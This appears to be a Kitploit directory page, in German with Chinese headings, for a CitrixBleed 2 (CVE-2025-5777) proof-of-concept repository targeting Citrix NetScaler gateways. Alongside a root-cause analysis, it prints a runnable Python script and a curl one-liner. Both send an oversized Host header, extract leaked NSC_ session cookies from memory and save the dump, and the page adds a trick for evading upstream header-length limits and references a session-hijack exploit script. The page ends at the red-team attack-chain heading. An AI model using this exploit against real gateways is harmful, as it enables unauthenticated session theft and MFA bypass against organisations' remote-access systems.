Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — # CitrixBleed 2 — CVE-2025-5777 (Out-of-Bounds-Leak) PoC- und Erkennungssuite im Detail | Kitploit
Tools/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
DefensivwerkzeugeSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsLernen & BildungRed TeamingIncident Response

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Labs & Praxis
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

# CitrixBleed 2 — CVE-2025-5777 (Out-of-Bounds-Leak) PoC- und Erkennungssuite im Detail

Repository anzeigen
17212vor 1 JahrNoch nicht geprüft
Teilen

CitrixBleed 2 (CVE-2025-5777) Ultimative Analyse

An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Ein umfassendes Handbuch von der Ursache bis zur Angriffs- und Verteidigungsübung


PoC-Verwendung: python3 poc.py https://gateway.example.com

Exploit-Verwendung: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Inhaltsverzeichnis

0x00  引言 / 速览
0x01  背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02  漏洞描述(影响版本、CVSS、利用后果)
0x03  触发机理深剖(源码级分析 & 调试截图)
0x04  最小 PoC + 高级扫描脚本
0x05  红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06  蓝队视角:检测、取证与补丁验证
0x07  防御加固:补丁、WAF、配置、资产治理
0x08  学习 / 复习路线图与实战实验
附录 A  Sigma / Suricata / Nginx-Lua 规则
附录 B  补丁/利用时间轴 & IoC 快照
参考资料

0x00 Einführung / Überblick

  • CVE-2025-5777 (auch bekannt als CitrixBleed 2) ist ein Out-of-Bounds Memory Read in Citrix NetScaler ADC / Gateway.
  • Angreifer benötigen keine Authentifizierung und können durch Senden einer GET-Anfrage mit einem überlangen Host-Header das Gerät dazu bringen, zufällige Speicherblöcke zusammen mit der HTTP-Antwort an den Client zu „spucken“.
  • Die durchgesickerten Daten enthalten häufig NSC_USER / NSC_TASS-Cookies, SAML StateContext, MFA-Token und andere kritische Materialien, die direkt wiederverwendet werden können, um eine Session-Übernahme und MFA-Umgehung durchzuführen ([arcticwolf.com][1], [tenable.com][2]).
  • CVSS v4 Basis-Score 9.3 (Critical) ([netscaler.com][3]).
  • 2025-06-17 veröffentlicht, 2025-06-23 erweiterte Citrix den Geltungsbereich und veröffentlichte Patches; innerhalb einer Woche beobachteten Sicherheitsanbieter wie ReliaQuest, Bishop Fox einen Anstieg der Ausnutzung in freier Wildbahn ([reliaquest.com][4], [bishopfox.com][5]).

0x01 Hintergrund

1.1 Kurze Beschreibung des NetScaler-Workflows

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler verwendet ein Multi-Prozess + internes IPC-Design. WebProc ist für die Verarbeitung der meisten HTTP-Anfragen unter AAA / Gateway-Pfaden verantwortlich, einschließlich /nf/auth/*, /oauth/* usw. Es verwendet in C häufig snprintf() / memcpy(), um jedes Mal XML/HTML-Fragmente zusammenzusetzen.

1.2 Rückblick auf CitrixBleed 1 (CVE-2023-4966)

  • Im Jahr 2023 trat eine ähnliche Schwachstelle im OAuth Discovery-Endpunkt /oauth/idp/.well-known/openid-configuration auf.
  • Ihr Wesen war ebenfalls die Verwendung des Rückgabewerts von snprintf als len-Parameter für nachfolgendes send() → Speicherüberlauf-Echo.
  • CitrixBleed 2 beweist, dass dieselbe Art von sicherem Codierungsfehler weiterhin in anderen Pfaden lauert.

Gelernte Lektion: Wenn Sicherheitspatches nur auf den „Einschlagspunkt“ und nicht auf das „Programmierparadigma“ abzielen, bleibt Raum für „schablonenhafte Wiederholungen“.


0x02 Schwachstellenbeschreibung

FeldInhalt
CVECVE-2025-5777
AliasCitrixBleed 2
SchwachstellentypOut-of-Bounds Read / Informationsleck
CVSS v4 Base9.3 (Crit.) ([netscaler.com][3])
Betroffene Versionen< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3])
AusnutzungsbedingungenNetScaler ist als Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) oder AAA vServer konfiguriert ([arcticwolf.com][1])
Auswirkung der AusnutzungSpeicherleck → Sitzungstoken → Authentifizierungsumgehung / MFA-Umgehung → Lateralbewegung

0x03 Tiefgehende Analyse des Auslösemechanismus

Dieser Abschnitt basiert auf Decompilierung + gdb-Debugging der Firmware 13.1-55.18, kombiniert mit öffentlichen Blogbeiträgen ([bishopfox.com][5]).

3.1 Eintrittspunkt der Schwachstelle

  • URI: /nf/auth/startwebview.do
  • Kontrollierbarer Parameter: HTTP Host-Header
  • Diese Schnittstelle wird verwendet, um das Redirect-XML für Citrix Workspace WebView zu generieren. Beispiel einer normalen Antwort:
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Wichtige Funktionskette

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Fehlerpunkt: snprintf gibt die „Länge, die hätte geschrieben werden sollen“ zurück, nicht die tatsächlich geschriebene Länge; wenn der vom Benutzer übergebene Host > 0x1800 - Länge des konstanten Segments ist, dann ist length > sizeof(buf).

3.3 Laufzeit-Darstellung

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

GDB-Breakpoint-Demonstration (wichtige Register):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Das Ergebnis von read() zeigte, dass die letzten 1.600 Bytes aus nicht initialisiertem Speicher stammten, in dem Cookie-Puffer anderer SSL-Sitzungen sichtbar waren.

3.4 Kategorien der durchgesickerten Daten

KategorieBeispielauszug (anonymisiert)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Andere Anfragekörper<username>audituser</username><password>***</password>

0x04 PoC-Implementierung

4.1 Einzelne Python-Datei (15 Zeilen)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")

Wenn nach der Ausführung ein 200-Statuscode + mehrere KB zurückgegeben werden, wird die Schwachstelle als vorhanden angesehen.
Suchen Sie weiter in leak.bin nach Schlüsselwörtern wie Cookie=, <AuthenticateContext> usw.

4.2 Einzeiler mit Bash / curl

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Workaround: Einige Geräte haben eine Längenbegrenzung für den Host-Header in vorgelagerten F5 / Nginx; dies kann durch Aneinanderreihung mehrerer Subdomains umgangen werden, z.B. foo.foo.foo.…foo.example.com (3000-mal foo wiederholen).


0x05 Red-Team-Perspektive: Vollständige Angriffskette

Tool herunterladen